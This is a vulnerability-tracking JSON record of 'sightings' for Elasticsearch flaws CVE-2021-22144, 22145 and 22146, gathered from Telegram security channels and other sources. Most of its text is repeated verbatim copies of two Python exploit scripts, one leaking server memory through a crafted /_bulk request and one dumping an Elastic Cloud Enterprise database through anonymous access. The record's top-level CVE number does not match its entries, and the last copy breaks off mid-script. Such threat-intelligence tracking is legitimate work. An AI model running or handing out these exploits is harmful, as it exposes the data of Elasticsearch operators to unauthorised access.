{"vulnerability": "CVE-2021-2214", "sightings": [{"uuid": "58911733-e7a2-46ed-a086-4365d2081bc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "3dfbe13b-194a-4a2f-89cd-5c884df02e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:34.000000Z"}, {"uuid": "7b893c94-5b0d-40ad-92fe-8b2085b12151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:12:59.000000Z"}, {"uuid": "bdb6dff9-3017-4e55-b5af-ff2faf948781", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.rb", "content": "", "creation_timestamp": "2023-09-07T15:26:52.000000Z"}, {"uuid": "93668a40-f01f-4032-b587-240534e0aec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22144", "type": "seen", "source": "https://t.me/arpsyndicate/3231", "content": "#ExploitObserverAlert\n\nCVE-2021-22144\n\nDESCRIPTION: Exploit Observer has 5 entries in 3 file formats related to CVE-2021-22144. In Elasticsearch versions before 7.13.3 and 6.8.17 an uncontrolled recursion vulnerability that could lead to a denial of service attack was identified in the Elasticsearch Grok parser. A user with the ability to submit arbitrary queries to Elasticsearch could create a malicious Grok query that will crash the Elasticsearch node.\n\nFIRST-EPSS: 0.001380000\nNVD-IS: 3.6\nNVD-ES: 2.8", "creation_timestamp": "2024-01-28T06:25:10.000000Z"}, {"uuid": "effc2bcd-1aa0-4d49-9532-9e4524b3b2cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/arpsyndicate/3240", "content": "#ExploitObserverAlert\n\nCVE-2021-22146\n\nDESCRIPTION: Exploit Observer has 7 entries in 4 file formats related to CVE-2021-22146. All versions of Elastic Cloud Enterprise has the Elasticsearch \u201canonymous\u201d user enabled by default in deployed clusters. While in the default setting the anonymous user has no permissions and is unable to successfully query any Elasticsearch APIs, an attacker could leverage the anonymous user to gain insight into certain details of a deployed cluster.\n\nFIRST-EPSS: 0.015230000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2024-01-28T06:55:40.000000Z"}, {"uuid": "bd4ec08d-3d92-4bd6-9e34-10e2959a974b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22144", "type": "seen", "source": "https://t.me/cibsecurity/26486", "content": "\u203c CVE-2021-22144 \u203c\n\nIn Elasticsearch versions before 7.13.3 and 6.8.17 an uncontrolled recursion vulnerability that could lead to a denial of service attack was identified in the Elasticsearch Grok parser. A user with the ability to submit arbitrary queries to Elasticsearch could create a malicious Grok query that will crash the Elasticsearch node.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-26T16:11:33.000000Z"}, {"uuid": "8a399324-51a8-4a04-92f5-4028419e1ac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3937", "content": "#exploit\nCVE-2021-22146:\nElasticsearch ECE 7.13.x - The manipulation with an unknown input leads to a privilege escalation vulnerability (PoC)\nhttps://github.com/magichk/cve-2021-22146", "creation_timestamp": "2021-07-28T11:01:01.000000Z"}, {"uuid": "741df5cc-d892-41eb-893e-0ee2e89b458c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/cissp/3912", "content": "Red Team Tactics\nHow to Phish for User Passwords with PowerShell\ud83d\ude03\nhttps://www.blackhillsinfosec.com/how-to-phish-for-user-passwords-with-powershell\n\nThreat Research\n1. Use-after-free vulnerabilities in Foxit PDF Reader (CVE-2021-21831, CVE-2021-21870, CVE-2021-21893)\nhttps://blog.talosintelligence.com/2021/07/vulnerability-spotlight-use-after-free.html?m=1\n2. Sunhillo SureLine Unauthenticated OS Command Injection (PoC for CVE-2021-36380)\nhttps://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380\n\nexploit\nCVE-2021-22146:\nElasticsearch ECE 7.13.x - The manipulation with an unknown input leads to a privilege escalation vulnerability (PoC)\ud83e\udd28\nhttps://github.com/magichk/cve-2021-22146\n\nCloud Security\nBlue Team Techniques\nThe Istio Service Mesh - Security Best Practices\nhttps://istio.io/latest/docs/ops/best-practices/security", "creation_timestamp": "2026-09-01T17:00:45.269297Z"}, {"uuid": "d9193d1f-8040-48f3-83b1-ae9cf00e7495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "https://t.me/hacking_Attack/17554", "content": "Exploit Collector\nElasticSearch 7.13.3 Memory Disclosure\n\nhttps://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png \nElasticSearch version 7.13.3 memory disclosure exploit.\n\nMD5 | 128e0970c644272d608d5ebe1bafc7e5\n\nDownload\n# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure \n# Date: 21/07/2021\n# Exploit Author: r0ny\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://github.com/elastic/elasticsearch\n# Version: 7.10.0 to 7.13.3\n# Tested on: Kali Linux\n# CVE : CVE-2021-22145\n\n#/usr/bin/python3\n\nfrom argparse import ArgumentParser\nimport requests\nfrom packaging import version\nimport json\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nprint(\"\\n################################################################################################\")\nprint(\"######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######\")\nprint(\"######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######\")\nprint(\"################################################################################################\\n\")\nparser = ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"URL of ElasticSearch service\")\nparser.add_argument(\"-apikey\", \"--api-key\", dest=\"api_key\", help=\"API Key Authentication (Base64)\", metavar=\"API\", default=\"\")\nparser.add_argument(\"-b\", \"--basic\", dest=\"basic\", help=\"Basic Authentication (Base64)\", default=\"\")\nargs = parser.parse_args()\n\nif not (args.url):\nparser.error('Please input the elasticsearch url. e.g \"python3 CVE-2021-22145.py -host http://127.0.0.1:9200\"')\n\n#Prepare authentication header\nauthorization_header = \"\" \nif(args.api_key or args.basic):\nauthorization_header = \"ApiKey \" + args.api_key if args.api_key else \"Basic \" + args.basic\n\n#Check elasticsearch version\nr = requests.get(args.url,headers={\"Authorization\":authorization_header}, verify=False)\ntry:\nes_version = json.loads(r.content)[\"version\"][\"number\"]\nexcept:\nprint(\"# Couldn't connect to \" + args.url + \", please verify the url or the authentication token\\n\")\nprint(\"# Server response: \" + str(r.content))\nexit()\n\nif version.parse(es_version) < version.parse(\"7.10.0\") or version.parse(es_version) > version.parse(\"7.13.3\"):\nprint(\"# Elastic Service not vulnerable\")\nprint(\"# Elastic Service version: \" + es_version) \nprint(\"# Elastic Service vulnerable versions: 7.10.0 to 7.13.3\") \nexit()\n\n#Prepare exploitation \npayload = \"@\\n\"\nvulnerable_endpoint = \"/_bulk\"\nurl = args.url + vulnerable_endpoint\n\n#Exploitation\nprint(\"# ElasticSearch Version: \" + es_version)\nprint(\"# Request to \" + url+\"\\n\")\nr = requests.post(url, data = payload, headers={\"content-type\":\"application/json\", \"Authorization\":authorization_header}, verify=False)\n\n#Read Memory Leak and remove stacktrace\n\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\")\nprint(\"$$$$$ Memory Leaked $$$$$\")\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\nresponse = json.loads(r.content)\nleak1 = response[\"error\"][\"root_cause\"][0][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nleak2 = response[\"error\"][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nprint(leak1+\"\\n\"+leak2)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:30.796830Z"}, {"uuid": "58d5850f-6ba5-4d9f-a4d2-8516c505bc19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/hacking_Attack/17855", "content": "Exploit Collector\nElasticsearch ECE 7.13.3 Database Disclosure\n\nhttps://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png \nElasticsearch ECE version 7.13.3 anonymous database dumping exploit.\n\nMD5 | 4ac1b7bc67c52c5c05cd6ea91a56b7e3\n\nDownload\n# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump\n# Date: 2021-07-21\n# Exploit Author: Joan Martinez @magichk\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://www.elastic.co/\n# Version: >= 7.10.0 to <=\n# Tested on: Elastic ECE (Cloud)\n# CVE : CVE-2021-22146\n# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 \n\nimport os\nimport argparse\nimport sys\n\n######### Check Arguments\ndef checkArgs():\nparser = argparse.ArgumentParser()\nparser = argparse.ArgumentParser(description='Elasticdump 1.0\\n')\nparser.add_argument('-s', \"--host\", action=\"store\",\ndest='host',\nhelp=\"Host to attack.\")\nparser.add_argument('-p', \"--port\", action=\"store\",\ndest='port',\nhelp=\"Elastic search port by default 9200 or 9201\")\nparser.add_argument('-i', \"--index\", action=\"store\",\ndest='index',\nhelp=\"Index to dump (Example: 30)\")\nargs = parser.parse_args()\nif (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :\nparser.print_help(sys.stderr)\nsys.exit(1)\nreturn args\n\ndef banner():\nprint(\"      _           _   _         _\")\nprint(\"  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __\")\nprint(\" / _ \\ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \\| '_ \\ \")\nprint(\"|  __/ | (_| \\__ \\ |_| | (_| (_| | |_| | | | | | | |_) |\")\nprint(\" \\___|_|\\__,_|___/\\__|_|\\___\\__,_|\\__,_|_| |_| |_| .__/\")\nprint(\"                                                 |_|\")\ndef exploit(host,port,index):\n\nif (index != 0):\nfinal = int(index)\nelse:\nfinal = 1000000000\n\ncont = 0\nwhile (cont <=\nos.system(\"curl -X POST \\\"\"+host+\":\"+port+\"/_bulk\\\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\\x0d\\x0a\\\"index\\\"  :  {\\x0d\\x0a \\\"_id\\\" :\\\"\"+str(cont)+\"\\\"\\x0d\\x0a}\\x0d\\x0a}\\x0d\\x0a' -k -s\")\ncont = cont + 1\n\nif __name__ == \"__main__\":\n\nbanner()\nargs = checkArgs()\nif (args.index):\nexploit(args.host,args.port,args.index)\nelse:\nexploit(args.host,args.port,0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:30.841294Z"}, {"uuid": "3dc33f3f-df52-4f02-b9b4-a428b2dbb93d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "https://t.me/hacking_Attack/17554", "content": "Exploit Collector\nElasticSearch 7.13.3 Memory Disclosure\n\nhttps://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png \nElasticSearch version 7.13.3 memory disclosure exploit.\n\nMD5 | 128e0970c644272d608d5ebe1bafc7e5\n\nDownload\n# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure \n# Date: 21/07/2021\n# Exploit Author: r0ny\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://github.com/elastic/elasticsearch\n# Version: 7.10.0 to 7.13.3\n# Tested on: Kali Linux\n# CVE : CVE-2021-22145\n\n#/usr/bin/python3\n\nfrom argparse import ArgumentParser\nimport requests\nfrom packaging import version\nimport json\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nprint(\"\\n################################################################################################\")\nprint(\"######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######\")\nprint(\"######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######\")\nprint(\"################################################################################################\\n\")\nparser = ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"URL of ElasticSearch service\")\nparser.add_argument(\"-apikey\", \"--api-key\", dest=\"api_key\", help=\"API Key Authentication (Base64)\", metavar=\"API\", default=\"\")\nparser.add_argument(\"-b\", \"--basic\", dest=\"basic\", help=\"Basic Authentication (Base64)\", default=\"\")\nargs = parser.parse_args()\n\nif not (args.url):\nparser.error('Please input the elasticsearch url. e.g \"python3 CVE-2021-22145.py -host http://127.0.0.1:9200\"')\n\n#Prepare authentication header\nauthorization_header = \"\" \nif(args.api_key or args.basic):\nauthorization_header = \"ApiKey \" + args.api_key if args.api_key else \"Basic \" + args.basic\n\n#Check elasticsearch version\nr = requests.get(args.url,headers={\"Authorization\":authorization_header}, verify=False)\ntry:\nes_version = json.loads(r.content)[\"version\"][\"number\"]\nexcept:\nprint(\"# Couldn't connect to \" + args.url + \", please verify the url or the authentication token\\n\")\nprint(\"# Server response: \" + str(r.content))\nexit()\n\nif version.parse(es_version) < version.parse(\"7.10.0\") or version.parse(es_version) > version.parse(\"7.13.3\"):\nprint(\"# Elastic Service not vulnerable\")\nprint(\"# Elastic Service version: \" + es_version) \nprint(\"# Elastic Service vulnerable versions: 7.10.0 to 7.13.3\") \nexit()\n\n#Prepare exploitation \npayload = \"@\\n\"\nvulnerable_endpoint = \"/_bulk\"\nurl = args.url + vulnerable_endpoint\n\n#Exploitation\nprint(\"# ElasticSearch Version: \" + es_version)\nprint(\"# Request to \" + url+\"\\n\")\nr = requests.post(url, data = payload, headers={\"content-type\":\"application/json\", \"Authorization\":authorization_header}, verify=False)\n\n#Read Memory Leak and remove stacktrace\n\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\")\nprint(\"$$$$$ Memory Leaked $$$$$\")\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\nresponse = json.loads(r.content)\nleak1 = response[\"error\"][\"root_cause\"][0][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nleak2 = response[\"error\"][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nprint(leak1+\"\\n\"+leak2)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:05.505164Z"}, {"uuid": "35c548d7-1ebd-461b-a884-2c54c148630f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/hacking_Attack/17855", "content": "Exploit Collector\nElasticsearch ECE 7.13.3 Database Disclosure\n\nhttps://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png \nElasticsearch ECE version 7.13.3 anonymous database dumping exploit.\n\nMD5 | 4ac1b7bc67c52c5c05cd6ea91a56b7e3\n\nDownload\n# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump\n# Date: 2021-07-21\n# Exploit Author: Joan Martinez @magichk\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://www.elastic.co/\n# Version: >= 7.10.0 to <=\n# Tested on: Elastic ECE (Cloud)\n# CVE : CVE-2021-22146\n# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 \n\nimport os\nimport argparse\nimport sys\n\n######### Check Arguments\ndef checkArgs():\nparser = argparse.ArgumentParser()\nparser = argparse.ArgumentParser(description='Elasticdump 1.0\\n')\nparser.add_argument('-s', \"--host\", action=\"store\",\ndest='host',\nhelp=\"Host to attack.\")\nparser.add_argument('-p', \"--port\", action=\"store\",\ndest='port',\nhelp=\"Elastic search port by default 9200 or 9201\")\nparser.add_argument('-i', \"--index\", action=\"store\",\ndest='index',\nhelp=\"Index to dump (Example: 30)\")\nargs = parser.parse_args()\nif (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :\nparser.print_help(sys.stderr)\nsys.exit(1)\nreturn args\n\ndef banner():\nprint(\"      _           _   _         _\")\nprint(\"  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __\")\nprint(\" / _ \\ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \\| '_ \\ \")\nprint(\"|  __/ | (_| \\__ \\ |_| | (_| (_| | |_| | | | | | | |_) |\")\nprint(\" \\___|_|\\__,_|___/\\__|_|\\___\\__,_|\\__,_|_| |_| |_| .__/\")\nprint(\"                                                 |_|\")\ndef exploit(host,port,index):\n\nif (index != 0):\nfinal = int(index)\nelse:\nfinal = 1000000000\n\ncont = 0\nwhile (cont <=\nos.system(\"curl -X POST \\\"\"+host+\":\"+port+\"/_bulk\\\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\\x0d\\x0a\\\"index\\\"  :  {\\x0d\\x0a \\\"_id\\\" :\\\"\"+str(cont)+\"\\\"\\x0d\\x0a}\\x0d\\x0a}\\x0d\\x0a' -k -s\")\ncont = cont + 1\n\nif __name__ == \"__main__\":\n\nbanner()\nargs = checkArgs()\nif (args.index):\nexploit(args.host,args.port,args.index)\nelse:\nexploit(args.host,args.port,0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:05.587136Z"}, {"uuid": "d2694443-fdce-4f2c-b068-e80c4797c7f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/cissp/3912", "content": "Red Team Tactics\nHow to Phish for User Passwords with PowerShell\ud83d\ude03\nhttps://www.blackhillsinfosec.com/how-to-phish-for-user-passwords-with-powershell\n\nThreat Research\n1. Use-after-free vulnerabilities in Foxit PDF Reader (CVE-2021-21831, CVE-2021-21870, CVE-2021-21893)\nhttps://blog.talosintelligence.com/2021/07/vulnerability-spotlight-use-after-free.html?m=1\n2. Sunhillo SureLine Unauthenticated OS Command Injection (PoC for CVE-2021-36380)\nhttps://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380\n\nexploit\nCVE-2021-22146:\nElasticsearch ECE 7.13.x - The manipulation with an unknown input leads to a privilege escalation vulnerability (PoC)\ud83e\udd28\nhttps://github.com/magichk/cve-2021-22146\n\nCloud Security\nBlue Team Techniques\nThe Istio Service Mesh - Security Best Practices\nhttps://istio.io/latest/docs/ops/best-practices/security", "creation_timestamp": "2026-09-02T01:04:31.973399Z"}, {"uuid": "b10f1bc0-5a7b-43d5-af84-5437d84b7f0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17855", "content": "Exploit Collector\nElasticsearch ECE 7.13.3 Database Disclosure\n\nhttps://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png \nElasticsearch ECE version 7.13.3 anonymous database dumping exploit.\n\nMD5 | 4ac1b7bc67c52c5c05cd6ea91a56b7e3\n\nDownload\n# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump\n# Date: 2021-07-21\n# Exploit Author: Joan Martinez @magichk\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://www.elastic.co/\n# Version: >= 7.10.0 to <=\n# Tested on: Elastic ECE (Cloud)\n# CVE : CVE-2021-22146\n# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 \n\nimport os\nimport argparse\nimport sys\n\n######### Check Arguments\ndef checkArgs():\nparser = argparse.ArgumentParser()\nparser = argparse.ArgumentParser(description='Elasticdump 1.0\\n')\nparser.add_argument('-s', \"--host\", action=\"store\",\ndest='host',\nhelp=\"Host to attack.\")\nparser.add_argument('-p', \"--port\", action=\"store\",\ndest='port',\nhelp=\"Elastic search port by default 9200 or 9201\")\nparser.add_argument('-i', \"--index\", action=\"store\",\ndest='index',\nhelp=\"Index to dump (Example: 30)\")\nargs = parser.parse_args()\nif (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :\nparser.print_help(sys.stderr)\nsys.exit(1)\nreturn args\n\ndef banner():\nprint(\"      _           _   _         _\")\nprint(\"  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __\")\nprint(\" / _ \\ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \\| '_ \\ \")\nprint(\"|  __/ | (_| \\__ \\ |_| | (_| (_| | |_| | | | | | | |_) |\")\nprint(\" \\___|_|\\__,_|___/\\__|_|\\___\\__,_|\\__,_|_| |_| |_| .__/\")\nprint(\"                                                 |_|\")\ndef exploit(host,port,index):\n\nif (index != 0):\nfinal = int(index)\nelse:\nfinal = 1000000000\n\ncont = 0\nwhile (cont <=\nos.system(\"curl -X POST \\\"\"+host+\":\"+port+\"/_bulk\\\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\\x0d\\x0a\\\"index\\\"  :  {\\x0d\\x0a \\\"_id\\\" :\\\"\"+str(cont)+\"\\\"\\x0d\\x0a}\\x0d\\x0a}\\x0d\\x0a' -k -s\")\ncont = cont + 1\n\nif __name__ == \"__main__\":\n\nbanner()\nargs = checkArgs()\nif (args.index):\nexploit(args.host,args.port,args.index)\nelse:\nexploit(args.host,args.port,0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T22:00:06.334226Z"}, {"uuid": "4bc57bcf-53e4-4f94-a4ec-e92e3a482aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17554", "content": "Exploit Collector\nElasticSearch 7.13.3 Memory Disclosure\n\nhttps://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png \nElasticSearch version 7.13.3 memory disclosure exploit.\n\nMD5 | 128e0970c644272d608d5ebe1bafc7e5\n\nDownload\n# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure \n# Date: 21/07/2021\n# Exploit Author: r0ny\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://github.com/elastic/elasticsearch\n# Version: 7.10.0 to 7.13.3\n# Tested on: Kali Linux\n# CVE : CVE-2021-22145\n\n#/usr/bin/python3\n\nfrom argparse import ArgumentParser\nimport requests\nfrom packaging import version\nimport json\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nprint(\"\\n################################################################################################\")\nprint(\"######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######\")\nprint(\"######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######\")\nprint(\"################################################################################################\\n\")\nparser = ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"URL of ElasticSearch service\")\nparser.add_argument(\"-apikey\", \"--api-key\", dest=\"api_key\", help=\"API Key Authentication (Base64)\", metavar=\"API\", default=\"\")\nparser.add_argument(\"-b\", \"--basic\", dest=\"basic\", help=\"Basic Authentication (Base64)\", default=\"\")\nargs = parser.parse_args()\n\nif not (args.url):\nparser.error('Please input the elasticsearch url. e.g \"python3 CVE-2021-22145.py -host http://127.0.0.1:9200\"')\n\n#Prepare authentication header\nauthorization_header = \"\" \nif(args.api_key or args.basic):\nauthorization_header = \"ApiKey \" + args.api_key if args.api_key else \"Basic \" + args.basic\n\n#Check elasticsearch version\nr = requests.get(args.url,headers={\"Authorization\":authorization_header}, verify=False)\ntry:\nes_version = json.loads(r.content)[\"version\"][\"number\"]\nexcept:\nprint(\"# Couldn't connect to \" + args.url + \", please verify the url or the authentication token\\n\")\nprint(\"# Server response: \" + str(r.content))\nexit()\n\nif version.parse(es_version) < version.parse(\"7.10.0\") or version.parse(es_version) > version.parse(\"7.13.3\"):\nprint(\"# Elastic Service not vulnerable\")\nprint(\"# Elastic Service version: \" + es_version) \nprint(\"# Elastic Service vulnerable versions: 7.10.0 to 7.13.3\") \nexit()\n\n#Prepare exploitation \npayload = \"@\\n\"\nvulnerable_endpoint = \"/_bulk\"\nurl = args.url + vulnerable_endpoint\n\n#Exploitation\nprint(\"# ElasticSearch Version: \" + es_version)\nprint(\"# Request to \" + url+\"\\n\")\nr = requests.post(url, data = payload, headers={\"content-type\":\"application/json\", \"Authorization\":authorization_header}, verify=False)\n\n#Read Memory Leak and remove stacktrace\n\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\")\nprint(\"$$$$$ Memory Leaked $$$$$\")\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\nresponse = json.loads(r.content)\nleak1 = response[\"error\"][\"root_cause\"][0][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nleak2 = response[\"error\"][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nprint(leak1+\"\\n\"+leak2)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T22:00:06.388068Z"}, {"uuid": "5b9e4c57-a854-4bda-805c-6a630c49c2a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17855", "content": "Exploit Collector\nElasticsearch ECE 7.13.3 Database Disclosure\n\nhttps://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png \nElasticsearch ECE version 7.13.3 anonymous database dumping exploit.\n\nMD5 | 4ac1b7bc67c52c5c05cd6ea91a56b7e3\n\nDownload\n# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump\n# Date: 2021-07-21\n# Exploit Author: Joan Martinez @magichk\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://www.elastic.co/\n# Version: >= 7.10.0 to <=\n# Tested on: Elastic ECE (Cloud)\n# CVE : CVE-2021-22146\n# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 \n\nimport os\nimport argparse\nimport sys\n\n######### Check Arguments\ndef checkArgs():\nparser = argparse.ArgumentParser()\nparser = argparse.ArgumentParser(description='Elasticdump 1.0\\n')\nparser.add_argument('-s', \"--host\", action=\"store\",\ndest='host',\nhelp=\"Host to attack.\")\nparser.add_argument('-p', \"--port\", action=\"store\",\ndest='port',\nhelp=\"Elastic search port by default 9200 or 9201\")\nparser.add_argument('-i', \"--index\", action=\"store\",\ndest='index',\nhelp=\"Index to dump (Example: 